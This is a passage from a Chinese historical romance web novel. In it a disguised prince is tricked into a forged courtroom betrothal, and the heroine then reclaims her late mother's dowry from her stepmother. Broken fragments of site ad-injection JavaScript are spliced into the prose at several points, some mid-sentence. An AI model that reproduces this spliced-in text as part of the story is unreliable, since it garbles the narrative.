长缨余光留意着主子，额间冷汗渐渐消退。 “公子，属下多方打听，清江县的百姓对许大人毁誉参半，有说他是贪官的，也有说他是好官的。”长缨细细解释。 顾清嘉一手握着茶盏，一手随意搭在扶手处，有节律地轻叩着。 哦，许淳此人，有财会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贪，有事也会有选择地做，在清江县任职十余年，与历任县令相处都算融洽，惯会溜须拍马。 听起来，他官位虽不大，却俨然是个滑不留手的惯常老油子。 蓦地，顾清嘉脑海中浮现出一抹时而柔弱，时而张狂的倩影。 还真是有其父，必有其女。 如此看来，许小姐做出上门逼婚的事，倒也不奇怪了。 不知那许小姐挥霍的银钱里，有多少是其父搜刮的民脂民膏？ 顾清嘉眼中浮现出一丝阴戾。 待此间事了，许淳这小小地头蛇，他定会发落。 感受到主子周身气场变化，长缨不由打了个寒噤。 他心中为许淳默默哀悼，嘴上该禀的话却不敢少说一句。 “方才属下所禀，乃是许淳在公门中行事做派，至于其品性为人，属下不敢妄言。另有一要事禀报殿下，还请殿下自行决断。” 长缨说起关于当年的传闻，语气并无太多波澜。 “许淳早年家境贫寒，得原配孟氏青眼，厚聘为赘婿，生一女，芳名菱玉，便是公子在桂花巷遇见的那位许小姐。” 说到此处，顾清嘉神情略有波动，长缨顿住，等他发话。 “既是许淳入赘，为何其女未随母姓？”顾清嘉停下指尖动作，抬眼，眼神依旧漠然。 依大晋律，男子入赘者，其子女皆随母姓。 长缨自然知晓，是以特意追查求证过。 “初时确实随母姓，可许淳中举，任县丞后，顾惜声名，执意为其女改姓。许淳与原配孟氏时常为此争执，及至一日，两人大吵一架后，孟氏当夜失足落水，第二日在清江下游芦苇丛被人捞起。” 顾清嘉唇角多一分寒意。 “时人纷纷猜测，孟氏落水，乃许淳所为，但属下悄悄查过卷宗，并无谋杀痕迹，若卷宗未有隐瞒，孟氏应当是失足溺亡。”长缨尽量公允，语气却仍带一丝微不可察的迟疑。 显然，他和清江县知道此事的百姓一样，都认为太巧了。 可年代久远，除了当年卷宗，再无实据可考，长缨只能查到这些。 “唔，下去吧。”顾清嘉摆摆手。 待长缨走开两步，忽而又被唤住：“等等。” “公子还有何吩咐？”长缨以为，主子会让他去寻找当年可能目睹过的旧人，查清此事。 哪知，顾清嘉拿指腹摩挲着杯壁，若有所思问：“许小姐与其父的关系，如何？” 长缨倒是打听过，可他不能打草惊蛇，并未直接查问能接触到许淳父女的人。 是以，打听到的信息，语焉不详。 长缨略沉吟，低声禀：“据说许淳时常感叹管不住许小姐，且许小姐每年会到桂花巷小住几日，尤其清明时节，因这处院子乃其母孟氏的陪嫁。” 说到这里，长缨忽而想起一件小事：“听说许小姐此番搬来桂花巷前，与许淳起过争执，因许小姐不愿遵父命，入京参加皇妃择选。” 说完，长缨怔愣一瞬，忽而反应过来，此事对主子而言，也不能算事不关己的小事。 毕竟，若非主子悄然离京，过些时日，皇后娘娘也会为主子择一位正妃。 8. 婚约 “殿下。”长缨惊出一身冷汗，他意识到自己失职。 他竟没去细查许小姐为何不愿入京待选。 本以为主子会动怒，让他自行领罚，没想到顾清嘉默然一瞬，只冷冷吩咐：“退下。” 主子天潢贵胄，生来便当受万民敬仰，即使他自己无大婚之意，可听到身份低微的小官之女不愿参选，大抵也会因威严受损而生怒。 长缨本欲替许菱玉求情，对上顾清嘉不耐的目光，又忍住，躬身告退。 屋内安静下来，顾清嘉清晰听到院中风吹枝叶的沙沙声。 他默默转动茶盏，望着茶汤表面变幻的光影，脑中再度浮现起那抹已算熟悉的倩影。 “是你？竟然是你？” 顾清嘉忆起她在巷中认出他时的惊喜，也忆起她鬓边皎白的玉兰花。 原来她当时并非假装巧遇，也不是冲着他来的桂花巷，而是来悼念已故的母亲。 许小姐，哦，许菱玉，她竟是为了不入京参加皇妃择选，才想要仓促定下婚事的。 是了，许淳官居六品以下，许小姐云英未嫁，自然在待选之列。 她既无意做皇妃，却执意强嫁于他，看来与他先前猜测的并不一样，她并非受人指使，相反，她对他的身份恐怕一无所知。 顾清嘉淡漠无波的眼，浮起一丝不易察觉的兴味。 若有一日，那看似柔弱，实则轻狂的少女，知道自己捋了虎须，弄巧成拙，不知会是怎样的反应。 顾清嘉品一口放凉的茶水，目光穿过庭院，定格在古旧的院门上。 少女走出院门前，说什么来着？ 她告诉他，她会嫁他，还说让他明日去县衙立婚书？ 原本，顾清嘉以为自己不可能出现在县衙。 直到第二日，他不请自来，主动出现在县衙门口。 长缨出去办事，顾清嘉孤身前来，他想亲眼看看，那浑然不知自己惹上大祸的小可怜，要怎样逼他答应立婚书。 今日的衙门很是热闹，听说是许县丞的女儿亲自敲的鼓，让县太爷为她做主，周围的百姓都围过来，里三层外三层，有的眼神茫然，有些眼带兴奋。 “许小姐有事不让她爹做主，来衙门敲鼓升堂，这不是舍近求远吗？”一年轻妇人嘀咕。 身边一鬓发花白的老妇人，拄着拐杖，佝偻着脊背道：“你们年轻人不知道，都有说处的，老婆子我呀，早知道会有这一日。当年杀千刀的许县丞逼死原配，很快就娶了外室过门，就因为这外室能生儿子，呸！薄情寡义的狗官！” 压低声音淬了一口，又忍不住叹息：“女儿长大了，势必要为她亲娘伸冤的，也不枉她娘十月怀胎生她一场。” 另一身穿孔方纹绸衫的中年男子接话：“没凭没据的，话可不能乱说。如今的韦太太可是在孟氏死了以后才过门的，哪是因她能生儿子才娶的？我还听说，孟氏是要与野男人私奔，正好遇到那晚涨水，才跌进江里淹死的呢，苍天有眼呐。” “我看你才是含血喷人！”老妇人气得发抖，举起拐杖要打。 被家人拦住才作罢：“娘，这是在衙门口呢。” “是啊，是啊，都少说两句。”周围看客暂且收起好奇心，纷纷劝。 顾清嘉站在人群后，默默听着，目光盯着墙根下一丛顽强的野草，久久未移开。 县衙大堂内，许菱玉跪地，递上状纸：“大人，民女许菱玉，要状告秀才贾卿固悔婚，陷民女于不孝不义，还请大人为民女做主。” 马县令坐在长案后，手压惊堂木，有些不知所措。 “阿玉你有婚约在身？”马县令疑惑问。 继而转向身边不远处呆立的许淳，低斥：“你女儿有婚约你不早说？！” 许淳又气又急，脸都抬不起来。 可为了身上的深青色官服，他不得不耐着性子，快步走到马县令身侧，附耳解释：“大人休听小女胡言乱语，她要是有婚约，我做父亲的能不知道？” 随即，不等马县令发话，他先拍了一下惊堂木，斥道：“胡闹！你平日里任性妄为也便罢了，今日竟闹到县衙来，都是为父太纵着你了。来人呐，把小姐请回去。” 请字他咬得极重，余光瞥见衙门口围着的人群，他脸色黑如锅底。 今日就算把许菱玉拉回去，他的老脸也丢尽了。 到底是县丞之女，若当着县丞的面生拉硬拽，等回头父女俩和好了，遭殃的是他们这些粗人。 差役们拄着水火棍，你看看我，我看看你，一时没动。 “慢着。”许菱玉从袖中取出一块藕荷色帕子，展开来，双手呈给马县令，“县令大人请看，民女有物证。” 闻言，马县令狐疑地探头看去。 许淳也伸长脖子，急急朝她手心望去。 只见许菱玉手中帕子上，赫然摆着两块残缺的半圆形玉片，合在一起，正好是一块玉璧。 玉片雕刻云纹，玉质润泽细腻，许淳从未见过。 “这不是我们许家的东西。”许淳盯着许菱玉，明确否认她所谓的物证。 许菱玉弯唇，不慌不忙道：“当然不是许家的，这是阿娘留给我的，芹姨从旧物里找出来，女儿才知晓这桩婚事。” 许淳傻眼。 孟茴的嫁妆，芹姨素来不让他碰，后来甚至搬了好些去桂花巷，防他像防贼。 那些嫁妆里，究竟有没有这样的玉璧，许淳确实不得而知。 时间过去太久，即便当年孟茴拿给他看过，他也记不清了。 “芹姨说，此玉璧乃是阿娘与手帕交指腹为婚的信物，各留一半，以为凭证。女儿本以为要四处找寻未婚夫君的下落，没想到无意间得知秀才贾卿固手里有这另一半玉璧。” “爹若不信，不妨请差役前往桂花巷，将贾秀才带来，女儿敢与他当面对质。”许菱玉语气不疾不徐，姿态从容。 马县令已全然相信她，许淳也被她唬住大半。 只是，这婚约出现得未免太突然，也太及时了些，由不得他不疑心。 许淳刚要开口，被马县令横了一眼，冷静下来。 方才是他僭越了。 “大人，请您吩咐。”许淳躬身，谄媚地笑着请命。 许菱玉压低眼皮，盯着手中玉璧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，对许淳的狗腿姿态眼不见为净。 马县令昂首挺胸，从签筒中取出一支红签，掷给差役：“带秀才贾卿固！” 差役刚捡起红签，未及转身，便听人群后一男子朗声道：“不必了，草民贾卿固在此。” 身后传来意料之外的声音，许菱玉眼中刚生出的得意，悉数化作惊愕。 她攥着玉璧，蓦然回首，耳下白玉坠子衬得她乌发如瀑，眸似点漆。 顾清嘉目光掠过许菱玉，望向长案侧的许淳，又收回，落在许菱玉手上。 观许淳其人，很难想象他能生出许小姐这般灵慧的女儿。 不过，更让顾清嘉想不到的是，许菱玉敢拿伪证，编出一段婚约，藐视公堂。 “许小姐口中的信物是什么？可否让小生看看？”顾清嘉姿态谦和，嗓音清润。 “卿固，你怎么来了？你愿意承认我们的婚约了是不是？”许菱玉面上娇娇柔柔，双眸噙着水光望着顾清嘉，一副六神无主的模样，可她脑子转得飞快。 她状似激动，双手发颤，打开藕荷色帕子，亮出里头好生收着的两块残玉，带着哭腔反问：“可是当着县令大人的面，你怎么还能装作不认得这信物呢？” “你瞧瞧。”许菱玉捏起其中一块残玉，举至顾清嘉眼前，泪眼哀戚，“这一块不正是你昨日强行还给我的么？说你家道中落，配不上我，要我另择良配。我许菱玉虽为女子，却也曾读书明理，不是那等背信弃义的小人。昨日在你屋里，我便说过，即便闹上公堂，也必遵母亲遗命，非君不嫁。” 随即，不等顾清嘉开口，她侧过身，面朝公堂外围观的百姓，柔柔躬身：“还请父老乡亲们做个见证。” 昨日贾秀才还说不会答应娶她，许菱玉以为他今日会躲出桂花巷，差役们找他还得费一番功夫。 没想到，今天太阳打西边出来，贾秀才自己乖乖送上门来。 或许，他已有些了解她的性子，知道她不达目的不罢休，怕她仗着许淳的权势，让人把他绑上公堂，有辱斯文，所以自己来？ 不知他来了有多久，不过他张口就问信物，显然是听到她方才说的那些胡诌的话了。可他走进公堂时，依然步履从容，挺拔秀逸，气度清华。 这一本正经的傻秀才，定然以为能在公堂上以理服人，由马县令主持公道？ 许菱玉说完，别开脸，捏起帕子作拭泪状，我见犹怜。 金钿站在另一侧扶着她，分明瞧见，她家小姐在拿帕子遮笑呢！ 想想小姐方才一番义正言辞的鬼话，金钿也想笑，可她不得不咬唇忍住，不能给小姐拆台。 马县令和许淳瞠目结舌，外头围观的百姓们交头接耳，已有热心肠的百姓忍不住劝：“许小姐是个好姑娘啊，贾公子就成全她一片孝心吧。” “是啊，是啊。”百姓们纷纷附和。 顾清嘉却被许菱玉手中信物吸引住，一时没顾上反驳她的胡言乱语。 他看着许菱玉手中两块残玉，抬起手，将两块玉拼合，正好严丝合缝，拼成一块玉璧。 这样的成色，质感，他曾见过的，在皇祖父那里。 9. 婚书 皇祖父有十一块这样的青玉璧，大小相差无几，雕刻的纹样各不相同，背面还刻了字。 纹样他已记不清，刻字却还记得，只因那十一个字，各对应十二时辰里的一个。 子丑寅卯，巳午未，申酉戌亥。 “皇祖父，怎么少了一个辰字？”年幼的他把玉璧当玩具摆成一排，疑惑地问祖父。 依稀记得，皇祖父华发如银，望向秋风席卷的宫苑，背影落寞，久久不言。 皇祖父去世后，他再没见过那些玉璧。 顾清嘉拿起拼合的玉璧，拇指轻压着正面的云纹，食指指腹摩挲着背面，摸到背后雕刻的字迹，动作顿住。 思绪从久远的往事拉回，顾清嘉将玉璧翻转，心中猜测纷纷落定。 玉璧背面，赫然刻着一个“辰”字。 若辰云玉璧乃皇祖父遗失之物，当初他问的时候，皇祖父为何沉默不语？ 顾清嘉不清楚玉璧代表什么，可他知道，此物不是寻常百姓能拥有的。 “这当真是许小姐母亲的遗物？”顾清嘉捏着玉璧，轻问。 他的语气有种说不出的情绪，许菱玉听不懂他在想什么。 他不是该反驳她的话，自证清白吗？ “是。”许菱玉秀眉微挑，“总不可能是我去偷别人的，来冒领婚约？对我来说，有什么好处呢？” 外人看来，贾卿固确实是个贫寒布衣，除了长得俊些，别无长物，若非母亲遗命，许小姐哪会放着选秀的机会不要，把与他的婚约宣扬开？ 顾清嘉颔首，将玉璧放回她手中：“确实是块好玉。可它完完整整属于许小姐，并非什么订婚信物。” 顾清嘉收敛心绪，语气平和笃定。 他倒要看看，眼前的许小姐还能如何狡辩。 “你还不肯承认？”许菱玉早已想好说辞，仰面望他，单薄的身姿清傲不屈，似亭亭玉立的荷，“你也说这是好玉，若不是订婚信物，谁会把这样好的玉摔成两半？” 有道理，顾清嘉暗自称许。 此玉璧若真与他见过的那些是一套，必是极为重要的传家之宝，论理，许菱玉再想逼迫他，也不至于对传家宝下手。 随意找块玉，或是旧帕子撕成两半，也能达到效果。 顾清嘉不得不承认，许菱玉的话虽没一句是真，却很让人信服。 若非被逼婚的对象是他自己，他几乎要忍不住赞赏她的急智。 偏偏对象是他，是原本打算拒绝到底的他。 顾清嘉目光自她巧言善辩的唇，移至她手中摔成两半的玉璧，齿根微痒，头一回体会到哭笑不得的滋味。 他竟真被一个胆大包天的小姑娘算计着了。 马县令和许淳已被许菱玉彻底说服。 “许县丞，看来本县该向你贺喜了。”马县令冲许淳拱拱手，随即朗声唤，“来人，呈文书！” 许淳对看起来一表人才，实则不能给许家带来任何好处的落魄书生，是在难以接受。 可当着马县令和无数百姓的面，难道他要反悔，解除亡妻定下的婚约么？ 他不能。 许淳狠狠剜了顾清嘉一眼，恨得直咬牙。 许菱玉有意无意打量着许淳的反应，正好捕捉到他隐忍的怒气，心情越发愉悦。 衙门当场为他们拟定婚书，莫名其妙的婚约，就此敲定。 许菱玉以为，她把贾秀才欺负到这份儿上，贾秀才再好的脾气，也该着恼了。 没想到，对方捏着婚书，俊颜并无丝毫愠色，风仪不减。 “秀才，你脾气可真好，我喜欢。”许菱玉立在青帷油壁软轿侧，拿婚书轻轻拍了拍顾清嘉衣襟，“放心，成婚以后，只要你乖乖听话，我不会亏待你的。” 县衙门口，柳条低垂，自由随风。 顾清嘉立在柳荫畔，望着少女乘坐的青帷油壁软轿走远，脑中回响着她的话。 “只要你乖乖听话，我不会亏待你的。” 明明弱质纤纤，口气却不小。 嚣张的一句话，让顾清嘉不由重新思量起自己的假身份。 须臾，他眉心舒展，薄唇弯起一丝清浅弧度。 未时刚过，长缨办完事，回到小院。 见自家公子正立在书案侧练字，长缨便默默在门外候着。 直到顾清嘉搁笔，长缨才捧着茶水，躬身进去。 “公子，属下已见过上官霈，他和宁王一样，暂未查到蛛丝马迹，仍在责令马县令加派人手追查。”长缨将茶水放到桌上，躬身禀报。 上官霈乃玄冥卫指挥使，特意为查药材失窃案而来。 当初药材失窃，宁王叔进京请罪，父皇命他彻查此案，找回药材，戴罪立功。 太子皇兄信不过宁王叔，专程请旨，以不敢让宁王叔太过伤神为由，指派上官霈协理此案。 他和长缨都悄悄去云雾山查探过，一无所获。 除非宁王和上官霈有通天的本事，或者宁王故意露出马脚，否则也很难快速查到线索。 顾清嘉早已察觉到六大王爷各有私心，表面上闲散忠心的宁王叔也是一样。 宁州是宁王叔的地盘，明知那药材里有太子皇兄的救命药，极有可能演一出贼喊捉贼的戏码，事后销毁证据，也易如反掌。 但纸是包不住火的，顾清嘉不信抓不到他的狐狸尾巴。 “嗯，知道了。”顾清嘉轻应，暂且将心中怀疑压下。 随即，他想到什么，坐到桌旁，拿起长缨斟好的热茶，顿了顿道：“近日我会与许小姐成婚，你准备一下。” 长缨：“？？” 长缨愣了一瞬，回想一遍顾清嘉说的话，反应过来，倒吸一口气，连心跳也停滞一息，惊得说不出话来。 他就离开半日，公子怎么突然就要成婚了？！ 原本他还担心公子知晓许小姐不愿参选，会迁怒许小姐，他还想过求情来着。 这半日里，公子和许小姐之间究竟发生了什么？ 公子是说要成婚吧？长缨有种头重脚轻的不真实感，甚至怀疑自己最近办差休息太少，出现幻觉。 还是公子知道许小姐在待选之列，突然对许小姐生出男女之情？ 男女之情？他家公子是会有这种情感的吗？长缨只想想，便忍不住一哆嗦。 再说，以公子的脾性，明知许县丞之为人，怎么可能娶这种小人的女儿？ “公子？”长缨悬着胆子，试探问，“您在说笑？” 他宁愿相信公子闲得会讲笑话了，也无法相信公子要成亲。 “不准备也无妨，许小姐说过，会悉数包办，不必我费心。”顾清嘉瞥一眼长缨震惊的神情，慢条斯理饮一口茶，“许小姐那边如何安排，你配合便是。” “？？”公子是真要成亲？还是许小姐包办？长缨望望外边的日头，震惊到麻木，眼神茫然，“公子有命，属下自当配合许小姐，只是，公子是否要往京城报个信？” 二皇子悄悄离开京城，还与许小姐私定终身，皇上和皇后娘娘若知道，会是怎样的反应？长缨不敢想，也不敢瞒。 “不必。”顾清嘉放下茶盏。 细瓷茶盏落在木桌上，轻轻一声响。 长缨却是肝胆俱颤，硬着头皮应：“是。” 顾清嘉没多解释：“想知道什么，自己去查。” 言毕，起身回到书架旁，目光沿着书脊划过去，顿住，抬手抽出其中一卷书。 此书乃是当初许菱玉替他付银子买的书册之一，顾清嘉打开封皮，目光落在书中内容上，心神却飘远，回想着书坊里初见的一幕幕。 当初他说会还她银子，没想到许菱玉会机缘巧合讹上他，要她以身相许。 小姑娘倒是，敢想敢要。 主子说他能查，长缨便没按捺好奇心，趁着不用当差的功夫，去街上转了一圈。 半个时辰后，长缨伪装成好打听闲话的市井小民，从百姓口中东拼西凑，终于明白他不在的半日，公子被许小姐叫到衙门公堂上，演了一出怎样惊世骇俗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的大戏。 直到回来路上，长缨还木愣愣的，挠着脑门，百思不得其解。 他自少年时便跟在公子身边，公子身上有没有婚约，他能不知道吗？ 若公子有婚约，哪里还需要皇上和皇后张罗择选秀女？ 还说是指腹为婚，皇后娘娘身份尊贵，甚少离开京城，更何况是身怀六甲之时，她绝不可能与所谓的平民成为手帕交，还为二皇子定下婚约！ 许小姐怎样编造事实，长缨不需要去理解，为何盯上他家公子，也可以以后再查探。 长缨不能理解的是，他家公子明知对方胡编乱造，怎么会任由马县令那糊涂官订立婚书？ “阿玉！开门！”咚咚的敲门声，伴着一声暴喝，打断长缨思绪。 长缨走在一株桂树旁，停下脚步，循声望去。 只见一位身量高大精壮的少年，穿着皂靴，站在一户人家门口，正重重拍那户的院门。 诶？那似乎是许小姐家的院门？ 长缨下意识往前走两步，更靠近些。 院墙上爬满凌霄花藤，还真是许小姐家！ 吱呀一声，院门从里打开，是许小姐的丫鬟开的门。 “高公子，小姐不让你在门口大呼小叫，让奴婢请你进去。”金钿的话，大半是冲着高澍跑进去的背影说的。 院门重新合上，长缨听不见里头的动静，悄无声息挪到那院门侧，耳廓紧贴院墙。 许菱玉正坐在廊庑下的美人靠上，斜倚栏杆，一条手臂撑在靠背上，手里捧着看了一小半的话本子。 她身侧卷足小几上，摆着两盘茶点，绿玉糕和杏花酥。 听到高澍冲进来，她抬眸含笑招呼：“就知道你会来，特意让金钿准备了你爱吃的茶点，自己都没舍得吃，专等你了。” 听到这话，高澍气焰顿时熄了大半。 坐到许菱玉对首时，自己也觉得自己没出息，瞥一眼小几上的茶点，哼哼唧唧道：“我一个大男人，什么时候喜欢吃这些了？阿玉，你冷血，你无情，你素来知道我心悦你，却从来不肯对我多上一分心。” 许菱玉最受不了他这样婆婆妈妈的，放下话本子，推了他一把：“胡说八道什么？你不爱吃，我怎么经常瞧见你买？” “我那是见你爱吃，买给你的！”高澍恨得牙痒痒，却是一点办法都没有。 “说正事，休想打岔！”高澍盘起长腿，窝在小几对侧，盯着许菱玉，“阿玉，你那婚约是假的是不是？你骗得了别人，可骗不了我。你的事，我什么不知道啊。也就是我今日出城办差去了，否则定会当堂拆穿你。你不想入京择选，不愿嫁我，我都可以等，可你为何要嫁给旁人？那姓贾的穷小子是打哪儿冒出来的？我要跟他打一架，让他知难而退！” 高澍说着说着，火气又窜上来，义愤填膺。 外头长缨听着不对劲，在高澍话说到一半的时候，便以最快的速度回家禀话去了。 “有位高公子，来者不善，正在找许小姐麻烦，公子你快去看看。”长缨长话短说，简明扼要。 顾清嘉微微拧眉。 踌躇一瞬，到底还是放下书卷，出来在许菱玉。 他站在许菱玉家院门外，抬起手，未及叩门，便听见高澍后面那两句。 叩门的动作滞了滞，指骨没往下落，眼底划过一丝玩味，耳尖不由自主竖起。 许菱玉哪知隔墙有耳？ 对婚约的事不置可否，她只是笑着横了高澍一眼：“我又不是比武招亲，谁许你喊打喊杀的？婚书已立，婚事即成，如今贾秀才便是我夫君。他一介书生，自不是你一个莽夫的对手，可你若敢欺负他一下，动他分毫，便是跟我许菱玉过不去。” “往后，我们连兄弟也没得做了。”许菱玉拿湿帕擦擦指尖，拈起一块绿玉糕，递至气鼓鼓的高澍面前。 “打一巴掌，再给颗甜枣，阿玉，你训狗呢？！”高澍仍旧不服气，可他怕许菱玉真的不认他这个朋友了。 放完狠话，到底还是张开嘴。 10. 嫁妆 许菱玉生得白，拈着剔透软弹的绿玉糕，纤细的指更是细腻如美玉。 绿玉糕入口，馨香甘甜，高澍垂着眼皮，待她收回手，才拿舌尖卷起绿玉糕。 再喜欢，未得她允许，他也从未敢唐突她半分。 绿玉糕清甜可口，高澍咬牙切齿嚼着，心里却泛起阵阵苦涩。 “阿玉，你想成亲，我是第一个排队的吧？你怎么就不愿看看我呢？”高澍知道暂时已成定局，还是忍不住想挽回，眼神黯然，近乎卑微，“阿玉，若成亲后，你发现他不够好，便给我一个机会行不行？我高澍一定全心全意只待你好。” “怎么？只做朋友，你就不待我好了？”许菱玉稍稍歪着脑袋，情态天真烂漫，狡黠反问。 高澍急了，匆忙解释：“我不是这个意思，我……” 许菱玉又拈起一块杏花酥，塞他嘴里：“吃你的点心吧！” 其实，她相信高澍会待她很好。 可这样的好，太真诚，太密集，如夏日的暴风雨，让她心里有负担。 勉强自己的日子，她是一日也过不下去。 直到此刻，许菱玉才不得不承认，她有时会想逃避高澍。 她很清楚，她永远给不了高澍想要的感情。 她看过许多话本子，里头有无数的才子佳人故事，故事里的佳人，遇上心仪的郎君，是会小鹿乱撞，思之如狂的。 许菱玉对高澍，从未有过这种情绪波动。 在她心里，高澍与金钿并无区别。 她与高澍，做朋友，才是刚刚好。 而贾秀才呢，他不爱她，她也不爱他，他们甚至不熟悉，分分合合都毫无压力，无忧亦无怖。 想到即将成亲，许菱玉没有太多新嫁娘该有的期待或是紧张。 她心境平和，轻松自在。 许菱玉含笑欣赏着小院中，芳树随风舞动的花叶，活像她即将彻底飞离许家大门的翅膀。 院门外，顾清嘉放下悬滞已久的手，没叩门，而是悄然离开。 “……你若敢欺负他一下，动他分毫，便是跟我许菱玉过不去。”少女特有的声线，仿佛仍萦绕在他耳畔。 顾清嘉衣袂翩动，唇角微弯，素来深邃难测的双眼，也泛起粼粼笑意。 他的小“娘子”，尚未过门，倒先进入角色，护着他这个做“夫君”的了。 顾清嘉从未想过，自己会有被个弱女子维护的一日，他也是第一次听女子唤他“夫君”，虽不是当着他的面，依然令他心中生出一丝异样。 怪怪的，但那感觉谈不上厌烦。 他的小“娘子”，比他想象中要有趣得多。 “婚约”是许菱玉编造的，新郎官是她坑蒙拐骗来的，婚事定的算得上草率，婚期也定的仓促。 芹姨翻出老黄历，还嘀咕着要去庙里拜拜，捐些香油钱，定个黄道吉日。 许菱玉摇摇头：“不必麻烦，就定十日后。金钿你留下，陪着芹姨张罗，我先回许家待嫁。许家宴请的事，让许淳和二太太操心去，若让他们光收礼金不伤脑筋，岂非便宜他们了？” 都安排好了，这才想起巷尾那待娶的新郎官，许菱玉又补上几句：“贾秀才那里，金钿你去说一声，也不必他准备什么，我会让裁缝来给他量衣做喜服，到时把婚房设在咱们院里。哦，对了，金钿你记得收拾出两间厢房，给秀才和他那随从住。” “小姐，毕竟是终身大事，这样安排会不会太简单仓促了些？”金钿觉得小姐的婚事，不能办得这样委屈，又道，“嫁衣也来不及绣，不知道多少事要准备呢，奴婢在这里可待不踏实。” 芹姨望着许菱玉，也是一脸忧心焦急。 许菱玉杏眼含笑，捏捏金钿脸颊，目光扫过她们两个：“知道你们心疼我，但这就是我想要的婚事啊，其他有什么要操心的，自有许家仆婢去办，累不着我。再说，婚事办得风不风光，也不看准备的时间长短，得看嫁妆有多丰厚不是？” “我是要回去找许淳要嫁妆去。”许菱玉笑眼灵慧，望着芹姨，“芹姨，把当年我娘的陪嫁单子找出来，我誊抄一份，亲自找许淳对账。” 巷尾的院子里，顾清嘉以为，婚事定下，许菱玉会时常借故往他这边跑。 以此熟悉他这个人，或是给他定各种规矩。 没想到，许菱玉一次也没来，只派了丫鬟来，转达了她关于婚仪和新郎喜服的安排。 长缨往包大娘家送谢媒礼回来，顾清嘉才知道，许菱玉昨日就已经离开桂花巷，搬回许家去住了。 顾清嘉磨墨的动作，不知不觉放缓。 许菱玉此举，可不像是相中他这个人，更像是把他当做一件，成亲必不可少的摆设。 不过，于他而言，也不是一桩需要认真对待的亲事。 顾清嘉并未过多困惑，乐得清静，很快将心神放回药材失窃案上。 清江县衙，马县令将写着寥寥数人的待选名单加急发出，随即走进许淳的班房叹道：“哎，总算是了结一桩事，但药材失窃的案子，咱们还一点线索也没查到，老许，你说可怎么好？总觉得我这项上人头已经不稳当了。” “大人不必太过心急，宁王殿下定的期限才过去不到十日，今日高县尉不又带人进山了么，兴许明日就能查到线索，把药材找回来呢？”许淳放下手头的文书，挤出勉强的笑劝慰。 家中的事，手头的事，哪一样都让他焦头烂额。 他还不得不耐着性子宽慰上峰，谁来宽慰他啊？ 他的好女儿，不光不宽慰他，还专程回来给他添堵。 旁人生的闺女，攀上高枝，提携门户，光宗耀祖，是来报恩的。 他的女儿，活像是来报仇的。 养她十七载，她竟拿着孟茴的嫁妆单子，一样一样与他对峙！ 许淳想着，正暗自怄气。 便听马县令激动地拍了一下桌案道：“阿玉的婚事，你好好办，办得风风光光，热热闹闹的。咱们衙门好久没添喜事，兴许能借阿玉的婚事冲冲喜，去去晦气，我这乌纱帽就保住了呢？！” “是，是。”许淳连连点头附和，笑得比哭还难看。 许家，许菱玉捏着嫁妆单子，袅袅婷婷站在继母韦淑慧屋内，慢悠悠四下环顾。 “阿玉，你这是做什么？你从不肯唤我一声娘，可名份上我毕竟是你的母亲，你怎能无礼地检查我的屋子？不成体统！”韦淑慧站到她身前，摆出长辈的派头，愤怒指责。 许菱玉仿佛没听见，抬手不轻不重拨开她，款步走到她琳琅满目的妆台侧，止步回眸：“二太太，若我没认错，这点翠金凤衔珠簪、花开富贵红玉金钗，都是我娘嫁妆里的东西吧？” 韦淑慧见势不妙，快步上前，想把东西藏起来。 可许菱玉年少轻盈，反应敏捷，已先一步将东西抓在手中。 韦淑慧面色涨红，火辣辣的，但她绝不会承认，嘴硬道：“你胡说，我何曾动过孟姐姐的东西？我又不缺首饰，不需要惦记她的遗物。这些都是你爹送我的。” “哦？二太太说是我爹偷拿的我娘遗物？”许菱玉不给她反驳的机会，将东西放入广袖内的袖袋中，“东西我先收着，等爹回来，我会向他证实。” “你！”韦淑慧感觉自己被当成了偷东西的贼，眼睛瞪着许菱玉，几乎能冒火。 罢了，许菱玉不好招惹，等许淳回来，让他自己去教训。 韦淑慧忍住怒气，别开脸，指着门口：“你出去，母亲这里不欢迎你。” “二太太，待会儿我让丫鬟给你送两盒好牙粉吧，你口气熏着我了。”许菱玉故意拿帕子掩住口鼻，嫌弃地绕过她，避开数步远，才对脸快气绿了的韦淑慧道，“我今日来，是为知会二太太一声，婚期定在九日后。二太太筹备婚事的时候，切莫忘了把我娘的嫁妆都放回原位。那都是娘留给我的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 东西，样样都无可取代。” “三日后，我会再跟爹对账，若还少什么，别怪我不信任二太太的管家能力，要来亲手翻二太太的箱笼，看看是不是哪个手长的贱婢偷拿了主子东西，藏到二太太这里了。” “你敢！”韦淑慧说着，伸手便要去抢许菱玉手中的嫁妆单子。 许菱玉稍一侧身，灵活避开，扬起列了数页的一沓嫁妆单子，浅笑：“身正不怕影子斜，二太太抢单子，是心里有鬼吗？不过，你就算抢去也没用，这只是我誊抄的一份罢了。” 随即，她气定神闲折好单子，收入袖袋：“二太太若想看，我也可以让人多抄几份，贴在衙门口，出嫁那日，让宾客、百姓们做个见证。” 许成琢从外面回来，刚走到门口就听到这话。 他顾不上说什么，赶紧加快脚步，扶住被气得摇摇晃晃的他娘。 “阿姐，娘拿了你什么，我让她还你就是了，你别生气。”许成琢扶着韦淑慧坐到圈椅中，却不敢指责许菱玉什么，语气带着很没血性的规劝。 “你住口！”韦淑慧很少对儿子说重话，这会子急火攻心，怎么也忍不住。 快被气死的人是她好吧？！ 儿子作为许家唯一的香火，却连替她出气都不敢。 还说让她把东西还给许菱玉，说的轻巧，还了许淳可买不起那些。 可显然，许菱玉听进去了，对同父异母弟弟的话很满意：“好，我回去等着。我耐心有限，只等三日，成琢你好好劝劝二太太。” 金钿留在桂花巷，跟许菱玉一道过来正院的，都是许家的小丫鬟，需要仰韦氏鼻息过活。 是以，许菱玉特意让她们在院外候着，免得她们难做。 待许菱玉出来，她们才敢默默垂首跟着，个个噤若寒蝉。 许菱玉一路往自己的院子走，望着小径、游廊旁的景致，只有淡淡的留恋，眼中更多的是激动的神采。 阿娘，女儿终于长大成人，等到这一日。 许淳回来后，许菱玉去书房与他谈了半个时辰。 